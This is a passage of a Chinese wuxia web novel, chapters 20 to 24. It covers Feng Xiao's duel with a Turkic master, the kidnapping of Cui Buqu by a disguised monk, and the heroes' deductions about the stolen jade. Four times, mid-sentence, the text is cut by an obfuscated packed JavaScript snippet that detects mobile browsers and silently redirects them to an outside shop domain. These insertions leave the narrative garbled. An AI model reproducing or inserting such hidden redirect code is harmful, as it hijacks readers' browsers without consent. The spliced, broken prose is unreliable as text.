但突厥人身形已至,刀气从头顶席卷而来,崔不去感觉自己发髻一松,头发随即披散下来。 如凤霄这般境界的高手,一定知道刚才突厥人那一刀先发制人,至少也会打掉他束发的玉笄,为了自己发型不乱,便临时拉来崔不去挡一挡。 崔不去不用揽镜,也知道自己现在披头散发形同疯子,他一股恶气涌上心头,当即大骂:“姓凤的你他娘的混账王八卵子!” 下一刻,他就发现突厥人间接帮他报仇了,因为凤霄已经与对方激战起来,无暇分身顾及与崔不去斗嘴。 而那块玉石刚刚被灰衣人碰到,他还未来得及高兴自己比旁人快一步时,就发现玉石在他手中忽然四分五裂,化为齑粉消散在空中。 抢玉石的三人都彻底傻眼了。 20. 第 20 章 灰衣人发誓,他绝对没有对这块玉石做了什么不该做的,更不要说出手毁掉。 但玉石缘何在他手中就碎成粉末了,他也实在解释不了。 另外两人见状罢手,却都很有默契地一前一后,将他退路堵死。 冰弦笑道:“阁下好大的脾性,得不到的东西就要彻底毁去,让别人也无法拿到。” 戴幂离的白衣人没说话,但他的举动已经无声说明,不会轻易放走灰衣人。 “我没对它做什么,是它自己碎的。”灰衣人冷冷道。 “我们两个人四只眼睛都亲眼目睹,还会看错不成?”冰弦挑眉。 崔不去靠着门低低咳嗽,刚才灰衣人一出手,他就看出对方来历了,但是这种时候出风头并非好事,他多病又无身手,在场之人都不将他放在眼里,他绝不会主动将自己置于危险之地。 更何况这些人里,未必就没有能看出灰衣人来历的。 果不其然,戴幂离的白衣人忽然道:“你的剑法近似刀法,很像倭人那边盛传的苏我氏流派,但又有所改变,我听说高句丽多了一个叫高宁的后起之秀,师承倭人,又推陈出新,应该就是阁下吧。” 他说话娓娓道来,别有一股温柔的味道,若放在平日里,定然令人如沐春风,在杀机重重的此刻,却显得有些格格不入。 冰弦忍不住看了白衣人一眼。 她觉得对方能一语道破灰衣人来历,定也非泛泛之辈,但思来想去,竟没法跟江湖上哪号人物对上。 难道对方不是江湖中人? 冰弦微微蹙眉,今夜她虽冲着玉胆而来,却也没有必得之心,因为她知道解剑府不是易与之辈,自己肯定不可能轻易得手。 更不必说今夜还有诸多高手在此,光是那个突厥人,就已足够让人头疼了。 思及此,冰弦微微一笑,拢了拢鬓间碎发。 “凤郎君这里的贵客太多,想必没空招呼奴家,奴家就先告辞了,改日再来叨扰。” 说罢,她也不等凤霄回应,便一跃而起,身形轻盈若羽,跳上屋顶,几下便隐没在黑暗之中。 被冰弦视为头号大敌的突厥人,此时内心却大为震惊。 原因无它,凤霄的外表与身手全不相符,若因他过分俊美而小觑,便会因他出色的武功而惊诧。 突厥人虽从未踏足中原,却有相当程度的自信,自己的武功哪怕放在中原武林,也罕有敌手,足可跻身超一流的宗师高手行列。 自入中原之后,突厥男人也与几个人交过手,其中不乏一派掌门,一帮之主的绝顶高手,果然如他所料,偌大江湖,堪称他敌手的,寥寥无几。 直至遇上凤霄。 凤霄的武功路数不似佛耳那般大开大合,而是更加飘忽轻灵,挥袖掸露,拂衣振雪,在旁人看来,如拈花而笑,信步悠游,每个动作都充满美感。 但对突厥男人而言,这些美感之中,无一不暗藏杀机,招招举重若轻,却又招招十面埋伏。 他已收起一开始的轻慢,慎重对待眼前势均力敌的对手,哪怕玉石粉碎,也无法令他分心。 两位绝世高手对战,绝对是难得一见的情景,连白衣人与那高句丽人高宁,也都暂时休兵,看得专心。 崔不去咳嗽两声,忽地低声道:“这人不是为了玉胆来的,他想杀凤霄。” 这话自然是说给身旁的裴惊蛰听的。 裴惊蛰果然一惊:“何以见得?” 崔不去哂道:“难道你没发现?他打从出现伊始,就只盯着凤霄一人,看也不看玉石,更未参与争抢吗?” 裴惊蛰:“你知道此人是谁?” 崔不去:“我从未见过他,但若没猜错,此人应该是佛耳,沙钵略可汗座下的第一高手,他曾得高人传授,武功集各家所长,入中原以来,从未有过败绩,堪称宗师级高手了。” 裴惊蛰倒抽一口凉气,万万没想到这个平淡无奇的夜晚竟会引来如斯高手。 “那他与郎君之间,谁更强一些?” 崔不去:“我又不会武功,你问我?” 裴惊蛰:…… 他看了一会儿,但见那二人于半空中衣袂翻飞,身影闪没不定,因为速度太快,以至于连裴惊蛰都有些瞧不出到底谁占了上风。 裴惊蛰有些焦急,忍不住回身奔入屋中。 不多时,他怀抱一物重新出现,朝凤霄高声道:“郎君,您的琴!” “拿来。” 凤霄的声音传来,朗朗清风,不疾不徐,听不出半分挫败,裴惊蛰眼睛一亮,将手中之物抛向半空。 只听得铮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728849|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声,宛若金戈铁马,百万雄兵杀至,霎时周围空气肃穆凝滞,令人忍不住寒毛竖起,屏气凝神。 江湖中人武器繁多,有刀有剑有枪戟,但佛耳还是头一回看见别人抱着琴当武器的,偏偏那具看上去很沉重的雕漆黑木琴,在凤霄手中如同毫无重量,温顺听话的小玩意儿,进可对敌,退可自保,琴声铮铮,扰人心神。 “好琴!”白衣人不禁喝彩。 高宁却毫无对方的闲逸,他眉头紧拧,不再去看凤霄与佛耳的战况,转而望向观战的裴惊蛰与崔不去。 他身形一动,忽然朝裴惊蛰崔不去二人扑去,刀锋化为气海,扫向对方二人,就在裴惊蛰拉着崔不去后退时,他又陡然变换招数,另一只手屈指为爪,抓向裴惊蛰他们。 裴惊蛰以为对方要抓崔不去当人质,连忙将崔不去往后一推,抽剑招架对方杀招,谁知高宁压根就醉翁之意不在崔不去,而在于裴惊蛰,当即回刀砍在裴惊蛰的剑上,他内力身后,刀风凌厉,裴惊蛰只觉手腕微麻,虎口剧痛,剑几乎脱手而出,高宁已经抓住裴惊蛰,将刀架在他脖子上。 “将玉胆交出来,否则杀了你!”高宁沉声道。 “玉胆方才早就被你毁了!”裴惊蛰怒道。 高宁冷笑:“少糊弄我,那分明是假的!” 他又对凤霄高声道:“那玉胆若是真的,你们岂会这么轻易就交出去,你若不将真正的玉胆给我,我就把他杀了!” 虽然生死关头还有更重要的事,但裴惊蛰还是忍不住问:“凭什么是我?” 按照常理来推测,不是不谙武功的崔不去更适合当人质么? 高宁冷冷道:“莫以为我不知道,他既是凤霄姘头,又能跟着他出来闯荡江湖,身上必有一二保命功夫,反观你,身手不济,可有可无,不抓你,还能抓谁?” 裴惊蛰:??? 他的自尊心因高宁这句话而严重受伤,更让他受伤的是,半空传来他家郎君一声轻笑。 “你既然知道他可有可无,抓了他又有何用?倒不如抓我的姘头,也许我还会妥协呢!” 话音方落,那冷眼旁观的白衣人忽然笑道:“是吗?那我试试。” 他身形一动,就已到了崔不去身边。 崔不去只觉肩膀一阵剧痛,人便动弹不得。 21. 第 21 章 眨眼工夫,崔不去就落在白衣人手中,对方看似轻轻松松搭在他肩膀上的手,却如有千斤之重,令崔不去只觉肩膀被卸去一般,瞬间麻了半边。 他喉咙更痒了,像有一根羽毛在那里不停地挠,令他忍不住又咳嗽起来,一咳嗽又牵动了肩膀的伤,疼痛顿时传遍四肢百骸,浑身上下。 白衣人见他脸色发白直冒冷汗的模样,便伸出另一只手扶了他一把。 “你还好吧?”对方语气柔和关切,如对多年老友,说出来的话却句句诛心,“看你脚步虚浮眉间泛青,不似刚刚才这样的,倒像是中毒已深,啧啧,你拖着这样的病躯,还要帮解剑府找回玉胆,值得么?倒不如跟了我,我帮你解毒,放你自由,也免了你夹在中间左右为难之苦。” 崔不去倏地抬头,锐利眼神穿透幂离遮挡与夜色掩护,直直锁定对方双眼,白衣人毫不避讳与他对视,坦坦荡荡,仿佛还唇角带笑,慈悲温柔。 那头凤霄哎呀一声:“姘头和手下同时被抓,让我先救哪一个好?这是故意在为难我呀!” 佛耳并未因他说话就攻势稍缓,依旧一招接着一招,周身气海澎湃汹涌,将凤霄重重裹住,不令他有半分脱身的机会,他自地面一跃而起,在半空朝凤霄拍出一掌。 这一掌似惊涛拍岸,又如天风海雨,霸道之极,令人避无可避,退无可退,犹如置身四面楚歌的险境,前有深渊,后有悬崖,立足之地岌岌可危,随时都有可能坠入万劫不复之地。 这套掌法是佛耳出师后自创的第一套掌法,也是他最为得意的一套,他为其起名为乞罗,意思是无敌,也曾凭此打败过不少中原高手,今日这一掌,他志在必得,誓要将凤霄立毙于掌下。 “看来凤郎君一时半会也顾不上你了。”白衣人笑道,抓着崔不去胳膊的手往上一提,崔不去顿觉上半身一阵剧痛,整个人跟着腾空而起。 高宁见状,不禁冷哼一声,也抓着裴惊蛰走了。 然而就在佛耳的掌风堪堪扑向对方天灵盖时,凤霄长袖一卷,手中古琴向半空飞起,竟将佛耳这一掌生生架住,琴弦铮铮作响,琴身剧烈震颤,却依旧没有断裂崩坏,反而是琴音令佛耳的动作稍稍一滞,凤霄后发先至,在古琴落下之时,他顺手将其抱入怀中,人已到了佛耳面前,顺势又将琴拍出去! 佛耳一惊,忙抽身后退,但琴如滔天巨浪,转眼即至,强大的内里化为音波,伴随琴鸣直入七窍,冲撞五脏六腑,涤荡激扬,冲刷洗练,佛耳喉头一甜,血就从嘴角流出。 他将血沫擦去,冷冷注视着对手。 凤霄看起来毫发无损,非但如此,他并没有朝崔不去和裴惊蛰消失的方向看上一眼,依旧负手而立,悠然自得地与佛耳对视。 “你的武功很不错,已经初窥宗师门径了,可惜遇上我。”凤霄笑吟吟道,“如果每个人命中注定必须有个冤家,那我一定就是上天派来磨炼你的,你虽然是个人才,但碰到天纵奇才的我,也只能认栽了。回你的草原去吧,再练个三五年,也许能跟我打个势均力敌呢?” 佛耳微微喘息,方才对方的反击让他受了点内伤,此时胸口还微微作痛,他知道凤霄也受了点伤,但那顶多是被自己真气扫到的皮外伤,两相比较,自己已经输了一筹。 他今晚铁定是杀不了凤霄了。 本来今夜各路人马到场,若有其他人搅局,他必可轻易达成目的,偏偏那些人意在天池玉胆,要么冷眼旁观,见势不妙拔腿就走,要么抓了凤霄身边的人,就是不肯亲自对凤霄动手,以至于功败垂成。 但说到底,还是自己技不如人。 “一名武者必得心无旁骛,才能追求更高境界,但你今晚明显心不在焉,这样的对手,我不屑于打。”佛耳冷冷道,说罢转身便走,他武功虽然极为厚重霸道,轻功却走的是灵巧路线,眨眼之间,人已离开数丈之远,很快消失在夜色之中。 对方说这番话,无非是给自己找台阶下,由此可见这位突厥可汗座下的第一高手,实则是个极要面子的人。 凤霄没有追上去。 他目送对方的身影消失在视线之内,敛了脸上漫不经心的轻佻,转身就朝屋内走去。 毫不意外,在今夜变故之时,秋山别院各处屋子已经被翻得乱七八糟,一片狼藉,仆役们都躲起来不敢说话,见了凤霄回来,才瑟瑟发抖从桌子下面爬出来,向他哭诉。 “郎君,刚才你们在外头,有两个人闯进来,一言不合就将这里拆了一遍,我们也不知他们要找何物,但他们走的时候两手空空,似乎没找到!” 凤霄嗯了一声,对方无非认定刚才毁掉的玉石是赝品,想要找出真正的天池玉胆。 至于真正的天池玉胆…… 凤霄嘴角下撇,露出近似讥讽的笑容。 不过任何表情在一个美人脸上,都要比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728850|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁人独特几分,满心恐惧的仆役正顾着哭诉,冷不防抬起头来,竟看的生生一愣。 …… 白衣人带着崔不去,却没有走得太快,崔不去被迫跟着他瞎逛,若不是肩膀剧痛,加上旧疾发作,几乎以为对方只是想找个人一起散步了。 打更声远远传来,几处灯火遥遥闪烁,夜深露重,平添寒意,崔不去穿了不少,但依旧觉得冷,而且不由自主打了个寒噤。 “你不是江湖人。”崔不去咳嗽两声,声音有些沙哑。 他估摸着自己应该是受寒有些发热了,现在浑身酸痛,恨不能找到一张床倒头就躺下。 但世事无常,他却还要在这里跟着一个素昧平生的人打哑谜。 白衣人笑道:“我不是,你就是吗?” 崔不去似没听见他的话,自问自答道:“你今晚跑来凑热闹,必然也是冲着玉胆而来,但你不是江湖人,玉胆那些关于提升武功的传说,你肯定也没兴趣。像你这样的人,看似随和,内心却极为高傲,绝不肯轻易屈居人下,但又能让你亲自出马,说明你所追随的,一定是个身份很高的人。所以,你想拿到玉胆,去献给那位贵人。” 白衣人:“有没有人跟你说过,做人太聪明,会短命的。” 崔不去淡淡道:“其实你不用说这么多废话,只要用四个字来概括我就好了,天妒英才。” 白衣人忍不住噗嗤一笑:“崔道长,你真是太有趣了,若不是你我认识得不是时候,我想我会拉着你一起去品茶看景的。” 崔不去:“那我应该喝不下茶,看不进景的。” 白衣人恍若未闻,忽然道:“你饿了吗?这个时辰,城里还有没有吃的?你带我去找找吧,最好是来上一碗热汤。” 崔不去:“我肩膀痛,不饿。” 白衣人笑道:“你不带我去的话,肩膀会更痛的。” 他说话斯斯文文,不带半点烟火气,下手却比谁都恨。 崔不去:“我不带你去,也会有人带你去的。” 白衣人笑问:“谁啊?” “我啊。” 随着话语响起,一人自前方徐徐走来,身形颀长,在距离他们数步之遥的地方停步,背光而立。 “凤郎君动作可真快,突厥第一高手就这么被你打发了?”白衣人惊奇道。 凤霄:“那可不,你抓了我的姘头,我能不快一点吗?” 22. 第 22 章 白衣人有些惊奇。 在他看来,以佛耳的武功和杀意,今夜就算杀不了凤霄,最起码也能绊住他,谁知突厥第一高手竟如此虚有其表,连一个时辰都不到,凤霄就得以脱身并追上来。 “凤郎君武功之高,还是出乎我的意料了。” 凤霄道:“是你根本就没想走远吧,今夜来的这些人里,就数你的来历成谜,难道阁下不想介绍一下自己,就这么无名来去吗?” 白衣人:“名字不过称谓,百十年后,一切尘归尘,土归土,凤郎君何必执着?” 凤霄哂道:“越是说这种话的人,就越是在意自己的名声,你一身白衣无尘,内里必然是个挑剔之极的人,对人对己皆是如此,又怎会像你表现出来的洒脱?” 白衣人笑道:“我对凤郎君如何评价我不感兴趣,我感兴趣的是,你给崔道长下了剧毒,将他拘在身边,生不如死,为何他还盼着你来救他?难道这世上真有喜欢被虐待的人?” 崔不去冷冷道:“我不喜欢被虐待,但我知道,落在他手里,比落在你手里要好些。” 白衣人诧异:“我除了带走你时用了点手段,其它时候何尝不是以礼相待?” 崔不去:“他做事,自有他的目的和分寸,你却不将任何人的性命放在眼里。” “去去啊,难得听你在外人面前夸我,我这心里头,真是受宠若惊——” 受字出口时,凤霄就已身形一晃,朝他们飘过来。 白衣人反应极快,当下抓着崔不去疾退,甚至隐隐将崔不去往前推了推,打算随时用他来挡住凤霄的攻势。 谁知凤霄压根就不打他的要害,反而将手伸向戴在他脑袋上的幂离。 白衣人一惊,想要抓住幂离已是不及,头顶一空,顿时冷风灌顶,冰凉萦绕。 崔不去咳嗽两声,不掩诧异。 凤霄更是笑道:“原来这年头和尚也这么不老实,不好好待在庙里敲木鱼,还跑来抢玉胆,你家住持是哪位?等我好好与他说道说道!” 月色在白衣人那颗光滑锃亮的脑袋上微微反光,凤霄忍不住想起鸡蛋,还是剥了壳的那种。 正巧崔不去又咳嗽起来,凤霄错眼一看,对方仿佛也在借咳嗽掩饰笑意,不禁觉得这病痨鬼跟自己还是挺有默契的。 白衣人被揭开幂离的瞬间,脸上闪过恼怒之色,但很快冷静下来。 “小僧居无定所,闲云野鹤罢了,法号贱名,不足挂齿。” 凤霄哦了一声:“原来是个野僧,那就不能自称和尚,谁知道你是不是假借和尚身份逃过徭役,看来本座得带你回去好好讯问才行!” 他说罢就伸手来抓白衣人,后者十足警惕,在他刚刚开口说话时就已飘身后退,一退十来步。 凤霄却紧追不舍,一跃而起,大有抓不到人不罢休的架势。 白衣人微微皱眉,他不怵与凤霄交手,却不想浪费时间,更不想暴露武功,让对方看出自己的来历,便在对方攻来之际,将崔不去往身前一推,直接推向凤霄,他自己则转身跃起,意图离开。 谁知一道黑影从天而降,长剑铮然作响,划破长空,朝他迎面袭来。 今夜月色明亮,云淡星稀,足以让白衣人看清对方的面孔。 赫然是方才被高宁劫持走,又去而复返的裴惊蛰! 一个凤霄已是难对付,再加上一个裴惊蛰,哪怕后者武功不足为惧,但苍蝇在耳边嗡嗡乱绕,也是够让人心烦的了,白衣人知道今晚注定无功而返,便不再恋栈,当即旋身避开剑光,直接借力踩住一根树枝,斜斜往屋顶飘去,裴惊蛰再要去追,对方已是走远了。 “别追了。”凤霄道。 裴惊蛰从树上落下,惭愧道:“属下不力,没能将高宁擒住。” 凤霄:“他的武功远胜于你,你能从他手中逃脱,已经是省了我去救你的工夫,我还得谢谢你才是。” 裴惊蛰一时竟弄不清郎君这话到底是贬损还是夸奖,想了一会儿,小心翼翼道:“多,多谢郎君赞誉,属下愧不敢当?” 崔不去:“他在嘲讽你,你以为他在夸你?” 裴惊蛰:…… 凤霄:“抱歉,这孩子有点傻,让你见笑了。” 崔不去:“习惯了。” 裴惊蛰好容易忍住嘴角抽搐,询问道:“郎君,方才那和尚,可需要我去查查他的身份?” 凤霄望向崔不去:“崔道长应该知道罢。” 崔不去:“我的确猜了一个人,但不知是不是。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728851|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凤霄:“说说。” 崔不去:“玉秀和尚。” 那是谁? 裴惊蛰有点茫然,在脑海里搜索了一圈,也没搜出江湖上何时出了这一号人物。 崔不去道:“此人师承天台宗智者禅师,极少在江湖上走动,是以不算江湖中人,他一般都待在贵人身边,退居幕后,出谋划策。” 听见贵人二字,裴惊蛰隐隐察觉了什么,但又不好问出口。 凤霄已道:“晋王。” 不是疑问,而是肯定。 崔不去:“不错。” 晋王杨广,当今天子第二子,与太子杨勇,同为独孤皇后所出,却比太子更加活泼外向。会哭的孩子有糖吃,对比不会撒娇耍痴的长子,自然是杨广更加讨父母欢心,这在朝中上下并不是什么秘密。 裴惊蛰甚至听到风声,天子志在伐陈,统一南北,正物色统帅人选,皇后有意让晋王为副帅,跟随正帅出征,这一笔天大的军功若到手,满朝文武谁还敢说晋王只是自小被帝后溺爱的顽蛮小儿?只怕到时候晋王功劳煊赫,还要更甚于太子殿下。 身为这样一位贵人的谋士,玉秀和尚自然是前程似锦,混迹江湖,不如以后被封个国师当当。 裴惊蛰倒抽一口凉气。 他自然不是害怕玉秀,而是忌惮玉秀背后的人。 “晋王的人,他不知道解剑府吗?为何会来蹚这趟浑水?” 凤霄:“那自然是因为他也想要玉胆。” 裴惊蛰:“为晋……为他家主人拿的?” 凤霄嗯了一声:“这次玉胆失窃,解剑府任务失败,失职在先,谁能先找到玉胆,谁就是帝后眼里的功臣,晋王想插一脚,并不奇怪。就连崔道长身后的左月局,不也忍不住下手了吗?” 崔不去:“听不懂。” 凤霄:“你装傻装得太敷衍了。” 崔不去:“那我下次装认真一点。” 说罢,他露出微微惊诧的表情:“你在说什么?什么左月局,我听不明白。” 凤霄点点头:“语气欠佳,表情到位了。” 裴惊蛰:…… 咕的一声,打断这尴尬的沉默。 崔不去坦然道:“我饿了。” 23. 第 23 章 六工城并未实行宵禁,仅仅是在夜间关闭城门,不允许随意进出,但边陲小县不似京城不夜天,这样深的夜,这样寒冷的天,除了更夫,极少有正经人三更半夜还在街上晃荡,更不要说找吃的。 三人溜达了大半天,终于摸入一家食肆的后厨,从后面进去,裴惊蛰将守夜的厨娘仆役点穴放倒,又找来柴禾烧灶,从柜子里翻出面条鸡蛋,下了三碗鸡蛋面——这自然不是因为凤霄突然转性对崔不去好起来,而是因为他自己也饿了。 崔不去也不客气,他从来就不知客气二字怎么写,更何况是面对给自己下过毒的人,见裴惊蛰将面条端上来,直接将最满的那碗拿过来,埋头便吃。 凤霄啧啧一声:“阿崔,你读过孔融让梨的故事吗?” 崔不去头也不抬:“你是我兄长吗?” 但他很快就得意不起来了,一口面条在嘴里嚼了几下,好容易咽下去,眉头皱得死紧。 “怎么这么淡?没放盐吗?面条为何如此硬?你刚下锅就捞起来吗?” 裴惊蛰还挺委屈:“这是我头一回下厨。” 言下之意,能入口已经很不错了。 凤霄幸灾乐祸:“不然你以为我为什么挑了汤最多,面最少的一碗?他能将鸡卵煮熟就不错了,将就着吃罢!” 方才玉秀和尚将崔不去掳来,看似脚程不快,实则已经离秋山别院一处东南,一处西北,正好对角,崔不去也熬不到回别院再吃东西,是以三人才在附近兜兜转转,找了大半天吃的。 裴惊蛰满腹疑问,连鸡蛋都顾不上吃,就忍不住询问:“郎君,那玉胆真的碎了?” 凤霄:“碎了啊,你不是亲眼看见了吗?” 裴惊蛰:“可,万一那玉胆是真的?” 凤霄放下碗,慢条斯理道:“抢玉胆的人,很可能有两拨。” 裴惊蛰一愣:“您如何得知?” 崔不去冷冷道:“你的脑袋就与你的厨艺一样一言难尽。于阗使者被杀,凶手除了潜逃入城埋伏下来,别无他法,想要做到这一点,就必须有城中内应帮忙。” 裴惊蛰被这样说,凤霄非但不帮他出头,反倒还面露赞同:“若有城中内应帮忙,我们想要找出真正的玉胆,就更加难上加难,先前我曾以为凶手与琳琅阁温凉勾结,想要明修栈道,暗度陈仓,但温凉被抓,疑似玉胆的玉石依旧被拿出来拍卖,可见背后之人,可能想用假的来引开我们的注意,再趁机将真的运走,但今日拍卖之后,留守城中各处的解剑府鹰骑,并非发现玉胆踪迹,所以只有另外一种可能性。” “什么可能性?”裴惊蛰顺着思路往下想,不自觉问道。 崔不去实在是吃不下那碗面了,连带碗里的鸡蛋,他也是一脸嫌弃地啃完,正好接上凤霄的话。 “杀人抢玉胆的两拨人,很可能已经闹翻了,玉胆被其中一拨人拿走,另外一拨人想用假玉胆把对方引出来,再抢走真正的玉胆。” 裴惊蛰不解:“那已经抢走玉胆的人又怎会上当?” 崔不去道:“我听说汉时,有不少西域小国携带本国珍宝朝贡中原,为了防止真品被盗,有时会准备一件相似的赝品,一道送上去。” 裴惊蛰明白了,崔不去的意思,是说这次于阗王送来的玉胆可能有两个,一真一假,赝品虽然是赝品,但肯定也是美玉,否则不可能以假乱真,很可能只有尉迟金乌才知道哪个是真,哪个为假,尉迟一死,凶手带走玉胆,两拨人一人一个,自然都怀疑自己手中是假的,对方拿的才是真的。 这个猜测略有些复杂,但裴惊蛰仔细想想,又觉得无从辩驳,等三五日之后于阗王新派的使者一到,他们自然能够得知真相是否如同凤霄崔不去二人所猜测的那样。 但眼下,还得先将玉胆找到。 思及此,裴惊蛰道:“崔道长的意思是,不管哪种可能性,疑似玉胆的美玉既然已经在琳琅阁现世,对方就肯定会派人来看看后续结果如何?” 崔不去点点头,觉得他还不算笨到家。 “今晚到场的人之中,必定少不了与凶手有关联的人,说不定,就是凶手之一。” 裴惊蛰开始回忆:“若我没有记错,今夜前来抢玉的一共有六人,云海十三楼的杀手一开始便走了,可以忽略不计。除了那和尚之外,有突厥高手佛耳,高句丽人高宁,那黄衣女子,还有一个……” 对于最后一个人,崔不去的印象却十分模糊,只记得对方穿着黑衣,半身隐在黑暗中,连是男是女都辨认不清,依稀记得在佛耳动手时,对方就已经没了踪影。 凤霄拿出三人用的六根筷子放在一起,又一根根往外挪。 “佛耳意在杀我,不为玉胆而来,虽然暂时还不知他为何要杀我,不过暂且可以将他放一放。” “高宁与玉秀,都是为了玉胆而来,并不存在试探之意,应该也不是他们。” “至于那个叫冰弦的女子……” 凤霄望向崔不去。 崔不去果然知道对方的来历,他道:“江湖上有一个叫合欢宗的门派,从前以双修采补为增进功力之法,冰弦就是本代宗主的弟子,据说颇受器重,将来可能会接过宗主的衣钵。” 他发现凤霄听见合欢宗之名时,脸上表情出现了一点变化,虽然极其细微,却被崔不去捕捉到。 “看来凤二府主与合欢宗有些渊源?” “不瞒你说,其实我表弟的媳妇的表姑的大舅的姑妈,也是合欢宗弟子,我听见这门派的名字,心里就有些亲切呢。”凤霄笑吟吟道。 崔不去面无表情:“原来你表弟的媳妇的表姑的大舅的姑妈喜欢采补男人来增长功力?” 凤霄:“那可不,都说女人三十如狼,四十如虎,她进了合欢宗,说不定正好就如鱼得水了。” 裴惊蛰嘴角抽搐,不想再听他们信口胡扯下去,忙将话题拉回来。 “如此说来,冰弦和另外一个神秘人的嫌疑,应该是最大的?” 崔不去道:“玉胆虽然对江湖人有用处,冰弦也有足够的动机,但如果她是凶手之一,过来确认玉胆真假,就没有必要现身并报上姓名,完全可以隐在暗处,来去无踪。” 裴惊蛰想想也有道理,他看见凤霄将倒数第二根筷子也拈出去,剩下最后一根,便知道凤霄也完全赞同崔不去的分析。 唯一最为可疑的,就是那个男女不辨的黑衣人。 凤霄起身道:“那人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728852|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开时,我已密令鹰骑跟踪过去,待我们回别院,应该就能有消息回来了。” 裴惊蛰这才知道凤霄还留了这么一手。 但他忽然想起一件更重要的事。 “但郎君,玉胆已经被弄碎了,如果那个玉胆是真的,我们岂不是……” 岂不是白忙活一场,兼且无法回去向天子复命了? 凤霄看了他一眼,没说话。 崔不去道:“我建议你下回出来时带个聪明点的,免得时时需要多费口舌。” 凤霄笑道:“有我这个聪明人在,再聪明的人不也如同萤火之光?” 崔不去:“既然如此,凤郎君还要我作甚,不如放了我自由。” 凤霄:“那可不行,你虽不像我如日月之光耀眼夺目,但在我身边受我熏陶,起码也是灿烂星辉了。阿崔,你若肯来解剑府,别说四府主了,就算你真看上我,要让我暖床,本座也是无所不应的。” 他甚至抓起崔不去的手,含情脉脉道。 崔不去被他恶心得够呛,手背到手臂瞬间汗毛竖起,忙不迭用力甩开,如同沾了肮脏之物。 “不管那个碎掉的玉胆是真是假,追回来的那个玉胆,就一定是真的!” 听见这句话,裴惊蛰灵光一闪,陡然明白过来。 他不由暗道老狐狸就是老狐狸,能被凤霄看入眼的人,必然在某方面拥有常人难及的能耐。 三人回到秋山别院,跟踪黑衣人而去的鹰骑果然回来的。 “属下无能,跟到一半时,似乎被对方发现行踪,只得先退回来,但属下看他消失的方向,应该是通往卢宅后院。” 本城姓卢的人不少,但出名的,能称为宅第的也就那么一座,正是那个据说与范阳卢氏有远亲关系的豪富之家,卢家。 说来也巧,今日一早凤霄与崔不去他们,还在食肆偶遇卢家女郎与其表兄。 两人听见鹰骑汇报,也都不约而同对视一眼。 凤霄:“阿崔,她家表兄,姓甚名谁来着?” 崔不去:“苏醒。” 凤霄:“从对方身材来看,倒更像是卢氏。走,看看去。” 这三更半夜大冷天的,他说罢竟就要起身去搜查卢宅。 崔不去冷冷道:“凤郎君,我刚才吃了您属下做的半生不熟鸡蛋面,现在有些腹痛,又想吐血了,您能不能行行好,可怜可怜我?” 一番求饶的话偏生被他说出千刀万戟的语气来,裴惊蛰只觉迎面嗖嗖冷箭,不由往旁边退了半步,不想被卷入战场。 凤霄不以为意:“哪有那么娇气,你连奈何香都挺过来了,何况区区鸡蛋面?惊蛰,去厨下看看,拿两块点心来,给崔道长垫垫肚子,然后咱们就去卢宅。” 崔不去依旧冷冷道:“我要吐血了。” 凤霄只当他随口胡说,还回头调侃:“那你吐一个我瞧瞧。” 谁知崔不去还真张开口,朝他吐来。 两人离得近,凤霄这一避没能避开,但闻腥臭之气扑鼻而来,崔不去吐的居然不是血,而是刚才吃下的鸡蛋面。 这简直比血还要令爱洁的凤二府主难受。 他当即就花容失色,淡定不保。 24. 第 24 章 这是一座不起眼的宅子,隐于城中,无人问津。 它的门户常年紧闭,偶尔只有一个耳朵不好的老妇出门采买菜肉,左邻右舍一问,才知道这家主人身患重病,长年累月不能出门,大家同情之余,不禁担心这病是否也会传人,久而久之便无人再好奇上门问询了,宅子的主人也得以耳根清净,无人叨扰。 眼下夜已深沉,周围万籁俱寂,家家户户都熄了烛火上床睡觉,被夹在中间的这座宅子,更是从头到尾半点声息也没有,乔仙与长孙菩提在拐角后面交换了一个眼神。 长孙无声询问:你确定是在这里? 乔仙不耐烦与他多说,直接身形一跃就上了屋顶。 